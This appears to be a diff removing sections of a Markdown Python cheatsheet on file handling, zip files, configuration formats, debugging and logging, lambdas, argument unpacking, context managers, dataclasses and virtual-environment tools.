-The shutil module provides functions for copying files, as well as entire folders.
-
-```python
->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copy('C:\\spam.txt', 'C:\\delicious')
-   'C:\\delicious\\spam.txt'
-
->>> shutil.copy('eggs.txt', 'C:\\delicious\\eggs2.txt')
-   'C:\\delicious\\eggs2.txt'
-```
-
-While shutil.copy() will copy a single file, shutil.copytree() will copy an entire folder and every folder and file contained in it:
-
-```python
->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copytree('C:\\bacon', 'C:\\bacon_backup')
-'C:\\bacon_backup'
-```
-
-_Return to the Top_
-
-#### Moving and Renaming Files and Folders
-
-```python
->>> import shutil
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs\\bacon.txt'
-```
-
-The destination path can also specify a filename. In the following example, the source file is moved and renamed:
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs\\new_bacon.txt')
-'C:\\eggs\\new_bacon.txt'
-```
-
-If there is no eggs folder, then move() will rename bacon.txt to a file named eggs.
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs'
-```
-
-_Return to the Top_
-
-#### Permanently Deleting Files and Folders
-
--   Calling os.unlink(path) or Path.unlink() will delete the file at path.
--   Calling os.rmdir(path) or Path.rmdir() will delete the folder at path. This folder must be empty of any files or folders.
--   Calling shutil.rmtree(path) will remove the folder at path, and all files and folders it contains will also be deleted.
-
-_Return to the Top_
-
-#### Safe Deletes with the send2trash Module
-
-You can install this module by running pip install send2trash from a Terminal window.
-
-```python
->>> import send2trash
-
->>> with open('bacon.txt', 'a') as bacon_file: # creates the file
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> send2trash.send2trash('bacon.txt')
-```
-
-_Return to the Top_
-
-#### Walking a Directory Tree
-
-```python
->>> import os
->>>
->>> for folder_name, subfolders, filenames in os.walk('C:\\delicious'):
->>>     print('The current folder is {}'.format(folder_name))
->>>
->>>     for subfolder in subfolders:
->>>         print('SUBFOLDER OF {}: {}'.format(folder_name, subfolder))
->>>     for filename in filenames:
->>>         print('FILE INSIDE {}: {}'.format(folder_name, filename))
->>>
->>>     print('')
-The current folder is C:\delicious
-SUBFOLDER OF C:\delicious: cats
-SUBFOLDER OF C:\delicious: walnut
-FILE INSIDE C:\delicious: spam.txt
-
-The current folder is C:\delicious\cats
-FILE INSIDE C:\delicious\cats: catnames.txt
-FILE INSIDE C:\delicious\cats: zophie.jpg
-
-The current folder is C:\delicious\walnut
-SUBFOLDER OF C:\delicious\walnut: waffles
-
-The current folder is C:\delicious\walnut\waffles
-FILE INSIDE C:\delicious\walnut\waffles: butter.txt
-```
-
-_Return to the Top_
-
-`pathlib` provides a lot more functionality than the ones listed above, like getting file name, getting file extension, reading/writing a file without manually opening it, etc. Check out the [official documentation](https://docs.python.org/3/library/pathlib.html) if you want to know more!
-
-### Reading and Writing Files
-
-#### The File Reading/Writing Process
-
-To read/write to a file in Python, you will want to use the `with` statement, which will close the file for you after you are done.
-
-_Return to the Top_
-
-#### Opening and reading files with the open() function
-
-```python
->>> with open('C:\\Users\\your_home_folder\\hello.txt') as hello_file:
-...     hello_content = hello_file.read()
->>> hello_content
-'Hello World!'
-
->>> # Alternatively, you can use the *readlines()* method to get a list of string values from the file, one string for each line of text:
-
->>> with open('sonnet29.txt') as sonnet_file:
-...     sonnet_file.readlines()
-[When, in disgrace with fortune and men's eyes,\n', ' I all alone beweep my
-outcast state,\n', And trouble deaf heaven with my bootless cries,\n', And
-look upon myself and curse my fate,']
-
->>> # You can also iterate through the file line by line:
->>> with open('sonnet29.txt') as sonnet_file:
-...     for line in sonnet_file: # note the new line character will be included in the line
-...         print(line, end='')
-
-When, in disgrace with fortune and men's eyes,
-I all alone beweep my outcast state,
-And trouble deaf heaven with my bootless cries,
-And look upon myself and curse my fate,
-```
-
-_Return to the Top_
-
-#### Writing to Files
-
-```python
->>> with open('bacon.txt', 'w') as bacon_file:
-...     bacon_file.write('Hello world!\n')
-13
-
->>> with open('bacon.txt', 'a') as bacon_file:
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> with open('bacon.txt') as bacon_file:
-...     content = bacon_file.read()
-
->>> print(content)
-Hello world!
-Bacon is not a vegetable.
-```
-
-_Return to the Top_
-
-#### Saving Variables with the shelve Module
-
-To save variables:
-
-```python
->>> import shelve
-
->>> cats = ['Zophie', 'Pooka', 'Simon']
->>> with shelve.open('mydata') as shelf_file:
-...     shelf_file['cats'] = cats
-```
-
-To open and read variables:
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(type(shelf_file))
-...     print(shelf_file['cats'])
-<class 'shelve.DbfilenameShelf'>
-['Zophie', 'Pooka', 'Simon']
-```
-
-Just like dictionaries, shelf values have keys() and values() methods that will return list-like values of the keys and values in the shelf. Since these methods return list-like values instead of true lists, you should pass them to the list() function to get them in list form.
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(list(shelf_file.keys()))
-...     print(list(shelf_file.values()))
-['cats']
-[['Zophie', 'Pooka', 'Simon']]
-```
-
-_Return to the Top_
-
-#### Saving Variables with the pprint.pformat() Function
-
-```python
->>> import pprint
-
->>> cats = [{'name': 'Zophie', 'desc': 'chubby'}, {'name': 'Pooka', 'desc': 'fluffy'}]
-
->>> pprint.pformat(cats)
-"[{'desc': 'chubby', 'name': 'Zophie'}, {'desc': 'fluffy', 'name': 'Pooka'}]"
-
->>> with open('myCats.py', 'w') as file_obj:
-...     file_obj.write('cats = {}\n'.format(pprint.pformat(cats)))
-83
-```
-
-_Return to the Top_
-
-#### Reading ZIP Files
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.namelist())
-...     spam_info = example_zip.getinfo('spam.txt')
-...     print(spam_info.file_size)
-...     print(spam_info.compress_size)
-...     print('Compressed file is %sx smaller!' % (round(spam_info.file_size / spam_info.compress_size, 2)))
-
-['spam.txt', 'cats/', 'cats/catnames.txt', 'cats/zophie.jpg']
-13908
-3828
-'Compressed file is 3.63x smaller!'
-```
-
-_Return to the Top_
-
-#### Extracting from ZIP Files
-
-The extractall() method for ZipFile objects extracts all the files and folders from a ZIP file into the current working directory.
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
-
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     example_zip.extractall()
-```
-
-The extract() method for ZipFile objects will extract a single file from the ZIP file. Continue the interactive shell example:
-
-```python
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.extract('spam.txt'))
-...     print(example_zip.extract('spam.txt', 'C:\\some\\new\\folders'))
-'C:\\spam.txt'
-'C:\\some\\new\\folders\\spam.txt'
-```
-
-_Return to the Top_
-
-#### Creating and Adding to ZIP Files
-
-```python
->>> import zipfile
-
->>> with zipfile.ZipFile('new.zip', 'w') as new_zip:
-...     new_zip.write('spam.txt', compress_type=zipfile.ZIP_DEFLATED)
-```
-
-This code will create a new ZIP file named new.zip that has the compressed contents of spam.txt.
-
-_Return to the Top_
-
-### JSON, YAML and configuration files
-
-#### JSON
-
-Open a JSON file with:
-
-```python
-import json
-with open("filename.json", "r") as f:
-    content = json.loads(f.read())
-```
-
-Write a JSON file with:
-
-```python
-import json
-
-content = {"name": "Joe", "age": 20}
-with open("filename.json", "w") as f:
-    f.write(json.dumps(content, indent=2))
-```
-
-_Return to the Top_
-
-#### YAML
-
-Compared to JSON, YAML allows for much better human maintainability and gives you the option to add comments. It is a convenient choice for configuration files where humans will have to edit it.
-
-There are two main libraries allowing to access to YAML files:
-
--   [PyYaml](https://pypi.python.org/pypi/PyYAML)
--   [Ruamel.yaml](https://pypi.python.org/pypi/ruamel.yaml)
-
-Install them using `pip install` in your virtual environment.
-
-The first one it easier to use but the second one, Ruamel, implements much better the YAML specification, and allow for example to modify a YAML content without altering comments.
-
-Open a YAML file with:
-
-```python
-from ruamel.yaml import YAML
-
-with open("filename.yaml") as f:
-    yaml=YAML()
-    yaml.load(f)
-```
-
-_Return to the Top_
-
-#### Anyconfig
-
-[Anyconfig](https://pypi.python.org/pypi/anyconfig) is a very handy package allowing to abstract completely the underlying configuration file format. It allows to load a Python dictionary from JSON, YAML, TOML, and so on.
-
-Install it with:
-
-```bash
-pip install anyconfig
-```
-
-Usage:
-
-```python
-import anyconfig
-
-conf1 = anyconfig.load("/path/to/foo/conf.d/a.yml")
-```
-
-_Return to the Top_
-
-### Debugging
-
-#### Raising Exceptions
-
-Exceptions are raised with a raise statement. In code, a raise statement consists of the following:
-
--   The raise keyword
--   A call to the Exception() function
--   A string with a helpful error message passed to the Exception() function
-
-```python
->>> raise Exception('This is the error message.')
-Traceback (most recent call last):
-  File "<pyshell#191>", line 1, in <module>
-    raise Exception('This is the error message.')
-Exception: This is the error message.
-```
-
-Often it's the code that calls the function, not the function itself, that knows how to handle an exception. So you will commonly see a raise statement inside a function and the try and except statements in the code calling the function.
-
-```python
-def box_print(symbol, width, height):
-    if len(symbol) != 1:
-      raise Exception('Symbol must be a single character string.')
-    if width <= 2:
-      raise Exception('Width must be greater than 2.')
-    if height <= 2:
-      raise Exception('Height must be greater than 2.')
-    print(symbol * width)
-    for i in range(height - 2):
-        print(symbol + (' ' * (width - 2)) + symbol)
-    print(symbol * width)
-for sym, w, h in (('*', 4, 4), ('O', 20, 5), ('x', 1, 3), ('ZZ', 3, 3)):
-    try:
-        box_print(sym, w, h)
-    except Exception as err:
-        print('An exception happened: ' + str(err))
-```
-
-_Return to the Top_
-
-#### Getting the Traceback as a String
-
-The traceback is displayed by Python whenever a raised exception goes unhandled. But can also obtain it as a string by calling traceback.format_exc(). This function is useful if you want the information from an exception's traceback but also want an except statement to gracefully handle the exception. You will need to import Python's traceback module before calling this function.
-
-```python
->>> import traceback
-
->>> try:
->>>      raise Exception('This is the error message.')
->>> except:
->>>      with open('errorInfo.txt', 'w') as error_file:
->>>          error_file.write(traceback.format_exc())
->>>      print('The traceback info was written to errorInfo.txt.')
-116
-The traceback info was written to errorInfo.txt.
-```
-
-The 116 is the return value from the write() method, since 116 characters were written to the file. The traceback text was written to errorInfo.txt.
-
-```
-Traceback (most recent call last):
-  File "<pyshell#28>", line 2, in <module>
-Exception: This is the error message.
-```
-
-_Return to the Top_
-
-#### Assertions
-
-An assertion is a sanity check to make sure your code isn't doing something obviously wrong. These sanity checks are performed by assert statements. If the sanity check fails, then an AssertionError exception is raised. In code, an assert statement consists of the following:
-
--   The assert keyword
--   A condition (that is, an expression that evaluates to True or False)
--   A comma
--   A string to display when the condition is False
-
-```python
->>> pod_bay_door_status = 'open'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
->>> pod_bay_door_status = 'I\'m sorry, Dave. I\'m afraid I can\'t do that.'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
-Traceback (most recent call last):
-  File "<pyshell#10>", line 1, in <module>
-    assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-AssertionError: The pod bay doors need to be "open".
-```
-
-In plain English, an assert statement says, "I assert that this condition holds true, and if not, there is a bug somewhere in the program." Unlike exceptions, your code should not handle assert statements with try and except; if an assert fails, your program should crash. By failing fast like this, you shorten the time between the original cause of the bug and when you first notice the bug. This will reduce the amount of code you will have to check before finding the code that's causing the bug.
-
-Disabling Assertions
-
-Assertions can be disabled by passing the -O option when running Python.
-
-_Return to the Top_
-
-#### Logging
-
-To enable the logging module to display log messages on your screen as your program runs, copy the following to the top of your program (but under the #! python shebang line):
-
-```python
-import logging
-
-logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
-```
-
-Say you wrote a function to calculate the factorial of a number. In mathematics, factorial 4 is 1 × 2 × 3 × 4, or 24. Factorial 7 is 1 × 2 × 3 × 4 × 5 × 6 × 7, or 5,040. Open a new file editor window and enter the following code. It has a bug in it, but you will also enter several log messages to help yourself figure out what is going wrong. Save the program as factorialLog.py.
-
-```python
->>> import logging
->>>
->>> logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
->>>
->>> logging.debug('Start of program')
->>>
->>> def factorial(n):
->>>
->>>     logging.debug('Start of factorial(%s)' % (n))
->>>     total = 1
->>>
->>>     for i in range(1, n + 1):
->>>         total *= i
->>>         logging.debug('i is ' + str(i) + ', total is ' + str(total))
->>>
->>>     logging.debug('End of factorial(%s)' % (n))
->>>
->>>     return total
->>>
->>> print(factorial(5))
->>> logging.debug('End of program')
-2015-05-23 16:20:12,664 - DEBUG - Start of program
-2015-05-23 16:20:12,664 - DEBUG - Start of factorial(5)
-2015-05-23 16:20:12,665 - DEBUG - i is 0, total is 0
-2015-05-23 16:20:12,668 - DEBUG - i is 1, total is 0
-2015-05-23 16:20:12,670 - DEBUG - i is 2, total is 0
-2015-05-23 16:20:12,673 - DEBUG - i is 3, total is 0
-2015-05-23 16:20:12,675 - DEBUG - i is 4, total is 0
-2015-05-23 16:20:12,678 - DEBUG - i is 5, total is 0
-2015-05-23 16:20:12,680 - DEBUG - End of factorial(5)
-0
-2015-05-23 16:20:12,684 - DEBUG - End of program
-```
-
-_Return to the Top_
-
-#### Logging Levels
-
-Logging levels provide a way to categorize your log messages by importance. There are five logging levels, described in Table 10-1 from least to most important. Messages can be logged at each level using a different logging function.
-
-| Level      | Logging Function     | Description                                                                                                                    |
-| ---------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
-| `DEBUG`    | `logging.debug()`    | The lowest level. Used for small details. Usually you care about these messages only when diagnosing problems.                 |
-| `INFO`     | `logging.info()`     | Used to record information on general events in your program or confirm that things are working at their point in the program. |
-| `WARNING`  | `logging.warning()`  | Used to indicate a potential problem that doesn't prevent the program from working but might do so in the future.              |
-| `ERROR`    | `logging.error()`    | Used to record an error that caused the program to fail to do something.                                                       |
-| `CRITICAL` | `logging.critical()` | The highest level. Used to indicate a fatal error that has caused or is about to cause the program to stop running entirely.   |
-
-_Return to the Top_
-
-#### Disabling Logging
-
-After you've debugged your program, you probably don't want all these log messages cluttering the screen. The logging.disable() function disables these so that you don't have to go into your program and remove all the logging calls by hand.
-
-```python
->>> import logging
-
->>> logging.basicConfig(level=logging.INFO, format=' %(asctime)s -%(levelname)s - %(message)s')
-
->>> logging.critical('Critical error! Critical error!')
-2015-05-22 11:10:48,054 - CRITICAL - Critical error! Critical error!
-
->>> logging.disable(logging.CRITICAL)
-
->>> logging.critical('Critical error! Critical error!')
-
->>> logging.error('Error! Error!')
-```
-
-_Return to the Top_
-
-#### Logging to a File
-
-Instead of displaying the log messages to the screen, you can write them to a text file. The logging.basicConfig() function takes a filename keyword argument, like so:
-
-```python
-import logging
-
-logging.basicConfig(filename='myProgramLog.txt', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
-```
-
-_Return to the Top_
-
-### Lambda Functions
-
-This function:
-
-```python
->>> def add(x, y):
-        return x + y
-
->>> add(5, 3)
-8
-```
-
-Is equivalent to the _lambda_ function:
-
-```python
->>> add = lambda x, y: x + y
->>> add(5, 3)
-8
-```
-
-It's not even need to bind it to a name like add before:
-
-```python
->>> (lambda x, y: x + y)(5, 3)
-8
-```
-
-Like regular nested functions, lambdas also work as lexical closures:
-
-```python
->>> def make_adder(n):
-        return lambda x: x + n
-
->>> plus_3 = make_adder(3)
->>> plus_5 = make_adder(5)
-
->>> plus_3(4)
-7
->>> plus_5(4)
-9
-```
-
-Note: lambda can only evaluate an expression, like a single line of code.
-
-_Return to the Top_
-
-### Ternary Conditional Operator
-
-Many programming languages have a ternary operator, which define a conditional expression. The most common usage is to make a terse simple conditional assignment statement. In other words, it offers one-line code to evaluate the first expression if the condition is true, otherwise it evaluates the second expression.
-
-```
-<expression1> if <condition> else <expression2>
-```
-
-Example:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 18 else 'adult')
-kid
-```
-
-Ternary operators can be chained:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 13 else 'teenager' if age < 18 else 'adult')
-teenager
-```
-
-The code above is equivalent to:
-
-```python
-if age < 18:
-    if age < 13:
-        print('kid')
-    else:
-        print('teenager')
-else:
-    print('adult')
-```
-
-_Return to the Top_
-
-### args and kwargs
-
-The names `args and kwargs` are arbitrary - the important thing are the `*` and `**` operators. They can mean:
-
-1. In a function declaration, `*` means "pack all remaining positional arguments into a tuple named `<name>`", while `**` is the same for keyword arguments (except it uses a dictionary, not a tuple).
-2. In a function call, `*` means "unpack tuple or list named `<name>` to positional arguments at this position", while `**` is the same for keyword arguments.
-
-For example you can make a function that you can use to call any other function, no matter what parameters it has:
-
-```python
-def forward(f, *args, **kwargs):
-    return f(*args, **kwargs)
-```
-
-Inside forward, args is a tuple (of all positional arguments except the first one, because we specified it - the f), kwargs is a dict. Then we call f and unpack them so they become normal arguments to f.
-
-You use `*args` when you have an indefinite amount of positional arguments.
-
-```python
->>> def fruits(*args):
->>>    for fruit in args:
->>>       print(fruit)
-
->>> fruits("apples", "bananas", "grapes")
-
-"apples"
-"bananas"
-"grapes"
-```
-
-Similarly, you use `**kwargs` when you have an indefinite number of keyword arguments.
-
-```python
->>> def fruit(**kwargs):
->>>    for key, value in kwargs.items():
->>>        print("{0}: {1}".format(key, value))
-
->>> fruit(name = "apple", color = "red")
-
-name: apple
-color: red
-```
-
-```python
->>> def show(arg1, arg2, *args, kwarg1=None, kwarg2=None, **kwargs):
->>>   print(arg1)
->>>   print(arg2)
->>>   print(args)
->>>   print(kwarg1)
->>>   print(kwarg2)
->>>   print(kwargs)
-
->>> data1 = [1,2,3]
->>> data2 = [4,5,6]
->>> data3 = {'a':7,'b':8,'c':9}
-
->>> show(*data1,*data2, kwarg1="python",kwarg2="cheatsheet",**data3)
-1
-2
-(3, 4, 5, 6)
-python
-cheatsheet
-{'a': 7, 'b': 8, 'c': 9}
-
->>> show(*data1, *data2, **data3)
-1
-2
-(3, 4, 5, 6)
-None
-None
-{'a': 7, 'b': 8, 'c': 9}
-
-# If you do not specify ** for kwargs
->>> show(*data1, *data2, *data3)
-1
-2
-(3, 4, 5, 6, "a", "b", "c")
-None
-None
-{}
-```
-
-#### Things to Remember(args)
-
-1. Functions can accept a variable number of positional arguments by using `*args` in the def statement.
-2. You can use the items from a sequence as the positional arguments for a function with the `*` operator.
-3. Using the `*` operator with a generator may cause your program to run out of memory and crash.
-4. Adding new positional parameters to functions that accept `*args` can introduce hard-to-find bugs.
-
-#### Things to Remember(kwargs)
-
-1. Function arguments can be specified by position or by keyword.
-2. Keywords make it clear what the purpose of each argument is when it would be confusing with only positional arguments.
-3. Keyword arguments with default values make it easy to add new behaviors to a function, especially when the function has existing callers.
-4. Optional keyword arguments should always be passed by keyword instead of by position.
-
-_Return to the Top_
-
-### Context Manager
-
-While Python's context managers are widely used, few understand the purpose behind their use. These statements, commonly used with reading and writing files, assist the application in conserving system memory and improve resource management by ensuring specific resources are only in use for certain processes.
-
-#### with statement
-
-A context manager is an object that is notified when a context (a block of code) starts and ends. You commonly use one with the with statement. It takes care of the notifying.
-
-For example, file objects are context managers. When a context ends, the file object is closed automatically:
-
-```python
->>> with open(filename) as f:
->>>     file_contents = f.read()
-
-# the open_file object has automatically been closed.
-```
-
-Anything that ends execution of the block causes the context manager's exit method to be called. This includes exceptions, and can be useful when an error causes you to prematurely exit from an open file or connection. Exiting a script without properly closing files/connections is a bad idea, that may cause data loss or other problems. By using a context manager you can ensure that precautions are always taken to prevent damage or loss in this way.
-
-#### Writing your own contextmanager using generator syntax
-
-It is also possible to write a context manager using generator syntax thanks to the `contextlib.contextmanager` decorator:
-
-```python
->>> import contextlib
->>> @contextlib.contextmanager
-... def context_manager(num):
-...     print('Enter')
-...     yield num + 1
-...     print('Exit')
->>> with context_manager(2) as cm:
-...     # the following instructions are run when the 'yield' point of the context
-...     # manager is reached.
-...     # 'cm' will have the value that was yielded
-...     print('Right in the middle with cm = {}'.format(cm))
-Enter
-Right in the middle with cm = 3
-Exit
-
->>>
-```
-
-_Return to the Top_
-
-### `__main__` Top-level script environment
-
-`__main__` is the name of the scope in which top-level code executes. A module's **name** is set equal to `__main__` when read from standard input, a script, or from an interactive prompt.
-
-A module can discover whether or not it is running in the main scope by checking its own `__name__`, which allows a common idiom for conditionally executing code in a module when it is run as a script or with `python -m` but not when it is imported:
-
-```python
->>> if __name__ == "__main__":
-...     # execute only if run as a script
-...     main()
-```
-
-For a package, the same effect can be achieved by including a **main**.py module, the contents of which will be executed when the module is run with -m
-
-For example we are developing script which is designed to be used as module, we should do:
-
-```python
->>> # Python program to execute function directly
->>> def add(a, b):
-...     return a+b
-...
->>> add(10, 20) # we can test it by calling the function save it as calculate.py
-30
->>> # Now if we want to use that module by importing we have to comment out our call,
->>> # Instead we can write like this in calculate.py
->>> if __name__ == "__main__":
-...     add(3, 5)
-...
->>> import calculate
->>> calculate.add(3, 5)
-8
-```
-
-#### Advantages
-
-1. Every Python module has it's `__name__` defined and if this is `__main__`, it implies that the module is being run standalone by the user and we can do corresponding appropriate actions.
-2. If you import this script as a module in another script, the **name** is set to the name of the script/module.
-3. Python files can act as either reusable modules, or as standalone programs.
-4. if `__name__ == "main":` is used to execute some code only if the file was run directly, and not imported.
-
-_Return to the Top_
-
-### setup.py
-
-The setup script is the centre of all activity in building, distributing, and installing modules using the Distutils. The main purpose of the setup script is to describe your module distribution to the Distutils, so that the various commands that operate on your modules do the right thing.
-
-The `setup.py` file is at the heart of a Python project. It describes all of the metadata about your project. There a quite a few fields you can add to a project to give it a rich set of metadata describing the project. However, there are only three required fields: name, version, and packages. The name field must be unique if you wish to publish your package on the Python Package Index (PyPI). The version field keeps track of different releases of the project. The packages field describes where you've put the Python source code within your project.
-
-This allows you to easily install Python packages. Often it's enough to write:
-
-```bash
-python setup.py install
-```
-
-and module will install itself.
-
-Our initial setup.py will also include information about the license and will re-use the README.txt file for the long_description field. This will look like:
-
-```python
->>> from distutils.core import setup
->>> setup(
-...    name='pythonCheatsheet',
-...    version='0.1',
-...    packages=['pipenv',],
-...    license='MIT',
-...    long_description=open('README.txt').read(),
-... )
-```
-
-Find more information visit [http://docs.python.org/install/index.html](http://docs.python.org/install/index.html).
-
-_Return to the Top_
-
-### Dataclasses
-
-`Dataclasses` are python classes but are suited for storing data objects. This module provides a decorator and functions for automatically adding generated special methods such as `__init__()` and `__repr__()` to user-defined classes.
-
-#### Features
-
-1. They store data and represent a certain data type. Ex: A number. For people familiar with ORMs, a model instance is a data object. It represents a specific kind of entity. It holds attributes that define or represent the entity.
-2. They can be compared to other objects of the same type. Ex: A number can be greater than, less than, or equal to another number.
-
-Python 3.7 provides a decorator dataclass that is used to convert a class into a dataclass.
-
-python 2.7
-
-```python
->>> class Number:
-...     def __init__(self, val):
-...         self.val = val
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-with dataclass
-
-```python
->>> @dataclass
-... class Number:
-...     val: int
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-_Return to the Top_
-
-#### Default values
-
-It is easy to add default values to the fields of your data class.
-
-```python
->>> @dataclass
-... class Product:
-...     name: str
-...     count: int = 0
-...     price: float = 0.0
-...
->>> obj = Product("Python")
->>> obj.name
-Python
->>> obj.count
-0
->>> obj.price
-0.0
-```
-
-#### Type hints
-
-It is mandatory to define the data type in dataclass. However, If you don't want specify the datatype then, use `typing.Any`.
-
-```python
->>> from dataclasses import dataclass
->>> from typing import Any
-
->>> @dataclass
-... class WithoutExplicitTypes:
-...    name: Any
-...    value: Any = 42
-...
-```
-
-_Return to the Top_
-
-### Virtual Environment
-
-The use of a Virtual Environment is to test python code in encapsulated environments and to also avoid filling the base Python installation with libraries we might use for only one project.
-
-_Return to the Top_
-
-#### virtualenv
-
-1.  Install virtualenv
-
-    ```
-    pip install virtualenv
-    ```
-
-2.  Install virtualenvwrapper-win (Windows)
-
-    ```
-    pip install virtualenvwrapper-win
-    ```
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    mkvirtualenv HelloWold
-    ```
-
-    Anything we install now will be specific to this project. And available to the projects we connect to this environment.
-
-2.  Set Project Directory
-
-    To bind our virtualenv with our current working directory we simply enter:
-
-    ```
-    setprojectdir .
-    ```
-
-3.  Deactivate
-
-    To move onto something else in the command line type ‘deactivate' to deactivate your environment.
-
-    ```
-    deactivate
-    ```
-
-    Notice how the parenthesis disappear.
-
-4.  Workon
-
-    Open up the command prompt and type ‘workon HelloWold' to activate the environment and move into your root project folder
-
-    ```
-    workon HelloWold
-    ```
-
-_Return to the Top_
-
-#### poetry
-
-> [Poetry](https://poetry.eustace.io) is a tool for dependency management and packaging in Python. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.
-
-1.  Install Poetry
-
-    ```
-    pip install --user poetry
-    ```
-
-2.  Create a new project
-
-    ```
-    poetry new my-project
-    ```
-
-    This will create a my-project directory:
-
-    ```
-    my-project
-    ├── pyproject.toml
-    ├── README.rst
-    ├── poetry_demo
-    │   └── __init__.py
-    └── tests
-        ├── __init__.py
-        └── test_poetry_demo.py
-    ```
-
-    The pyproject.toml file will orchestrate your project and its dependencies:
-
-    ```
-    [tool.poetry]
-    name = "my-project"
-    version = "0.1.0"
-    description = ""
-    authors = ["your name <your@mail.com>"]
-
-    [tool.poetry.dependencies]
-    python = "*"
-
-    [tool.poetry.dev-dependencies]
-    pytest = "^3.4"
-    ```
-
-3.  Packages
-
-    To add dependencies to your project, you can specify them in the tool.poetry.dependencies section:
-
-    ```
-    [tool.poetry.dependencies]
-    pendulum = "^1.4"
-    ```
-
-    Also, instead of modifying the pyproject.toml file by hand, you can use the add command and it will automatically find a suitable version constraint.
-
-    ```
-    $ poetry add pendulum
-    ```
-
-    To install the dependencies listed in the pyproject.toml:
-
-    ```
-    poetry install
-    ```
-
-    To remove dependencies:
-
-    ```
-    poetry remove pendulum
-    ```
-
-For more information, check the [documentation](https://poetry.eustace.io/docs/).
-
-_Return to the Top_
-
-#### pipenv
-
-> [Pipenv](https://pipenv.readthedocs.io/en/latest/) is a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world. Windows is a first-class citizen, in our world.
-
-1.  Install pipenv
-
-    ```
-    pip install pipenv
-    ```
-
-2.  Enter your Project directory and install the Packages for your project
-
-    ```
-    cd my_project
-    pipenv install <package>
-    ```
-
-    Pipenv will install your package and create a Pipfile for you in your project's directory. The Pipfile is used to track which dependencies your project needs in case you need to re-install them.
-
-3.  Uninstall Packages
-
-    ```
-    pipenv uninstall <package>
-    ```
-
-4.  Activate the Virtual Environment associated with your Python project
-
-    ```
-    pipenv shell
-    ```
-
-5.  Exit the Virtual Environment
-
-    ```
-    exit
-    ```
-
-Find more information and a video in [docs.pipenv.org](https://docs.pipenv.org).
-
-_Return to the Top_
-
-#### anaconda
-
-[Anaconda](https://anaconda.org) is another popular tool to manage python packages.
-
-> Where packages, notebooks, projects and environments are shared. Your place for free public conda package hosting.
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    conda create -n HelloWorld
-    ```
-
-2.  To use the Virtual Environment, activate it by:
-
-    ```
-    conda activate HelloWorld
-    ```
-
-    Anything installed now will be specific to the project HelloWorld
-
-3.  Exit the Virtual Environment
-
-    ```
-    conda deactivate
-    ```
-
-_Return to the Top_
-
-````
-## Python Cheatsheet
-
-- [About](#about)
-  - [Contribute](#contribute)
-  - [Read It](#read-it)
-  - [Python Cheatsheet](#python-cheatsheet)
-  - [The Zen of Python](#the-zen-of-python)
-  - [Python Basics](#python-basics)
-    - [Math Operators](#math-operators)
-    - [Data Types](#data-types)
-    - [String Concatenation and Replication](#string-concatenation-and-replication)
-    - [Variables](#variables)
-    - [Comments](#comments)
-    - [The print() Function](#the-print-function)
-    - [The input() Function](#the-input-function)
-    - [The len() Function](#the-len-function)
-    - [The str(), int(), and float() Functions](#the-str-int-and-float-functions)
-  - [Flow Control](#flow-control)
-    - [Comparison Operators](#comparison-operators)
-    - [Boolean evaluation](#boolean-evaluation)
-    - [Boolean Operators](#boolean-operators)
-    - [Mixing Boolean and Comparison Operators](#mixing-boolean-and-comparison-operators)
-    - [if Statements](#if-statements)
-    - [else Statements](#else-statements)
-    - [elif Statements](#elif-statements)
-    - [while Loop Statements](#while-loop-statements)
-    - [break Statements](#break-statements)
-    - [continue Statements](#continue-statements)
-    - [for Loops and the range() Function](#for-loops-and-the-range-function)
-    - [For else statement](#for-else-statement)
-    - [Importing Modules](#importing-modules)
-    - [Ending a Program Early with sys.exit()](#ending-a-program-early-with-sysexit)
-  - [Functions](#functions)
-    - [Return Values and return Statements](#return-values-and-return-statements)
-    - [The None Value](#the-none-value)
-    - [Keyword Arguments and print()](#keyword-arguments-and-print)
-    - [Local and Global Scope](#local-and-global-scope)
-    - [The global Statement](#the-global-statement)
-  - [Exception Handling](#exception-handling)
-    - [Basic exception handling](#basic-exception-handling)
-    - [Final code in exception handling](#final-code-in-exception-handling)
-  - [Lists](#lists)
-    - [Getting Individual Values in a List with Indexes](#getting-individual-values-in-a-list-with-indexes)
-    - [Negative Indexes](#negative-indexes)
-    - [Getting Sublists with Slices](#getting-sublists-with-slices)
-    - [Getting a List's Length with len()](#getting-a-lists-length-with-len)
-    - [Changing Values in a List with Indexes](#changing-values-in-a-list-with-indexes)
-    - [List Concatenation and List Replication](#list-concatenation-and-list-replication)
-    - [Removing Values from Lists with del Statements](#removing-values-from-lists-with-del-statements)
-    - [Using for Loops with Lists](#using-for-loops-with-lists)
-    - [Looping Through Multiple Lists with zip()](#looping-through-multiple-lists-with-zip)
-    - [The in and not in Operators](#the-in-and-not-in-operators)
